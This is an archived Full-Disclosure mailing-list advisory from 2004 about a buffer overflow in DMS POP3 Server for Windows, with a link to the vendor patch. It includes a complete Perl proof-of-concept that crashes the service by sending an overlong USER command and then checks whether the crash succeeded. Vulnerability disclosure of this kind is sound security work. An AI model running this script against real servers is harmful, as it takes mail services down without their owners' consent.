Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security FullDisclosure
[Top] [All Lists]

[Full-Disclosure] Buffer overlow in DMS POP3 Server for Windows 2000/XP

Subject: [Full-Disclosure] Buffer overlow in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions.
Date: Mon, 29 Nov 2004 08:51:14 -0700
Summary:
A buffer overflow exists in DMS POP3 Server for Windows 2000/XP 1.5.3
build 37 (http://www.digitalmapping.sk.ca/pop3srv/default.asp) and
prior versions.

Details:
A buffer overflow occurs during the POP3 authentication process when
an overly long username is supplied.  When the username buffer is
overflowed successfully the DMS POP3 Service dies resulting in a
denial of service.

Vulnerable Versions:
DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions.

Solutions:
The vendor has provided a patch to fix this issue:
http://www.digitalmapping.sk.ca/pop3srv/Update.asp

Exploit:
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                   PeerPort => $ARGV[1],
                                   Proto    => "TCP"))
{
       print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

       sleep(1);

       print $socket "USER " . "A" x 1023;

       close $socket;

       sleep(1);

       if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                           PeerPort => $ARGV[1],
                                           Proto    => "TCP"))
       {
               close $socket;

               print "failed!\n";
       }
       else
       {
               print "successful!\n";
       }
}
else
{
       print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#===== End DMS_POP3_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

<Prev in Thread] Current Thread [Next in Thread>
  • [Full-Disclosure] Buffer overlow in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions., Reed Arvin <=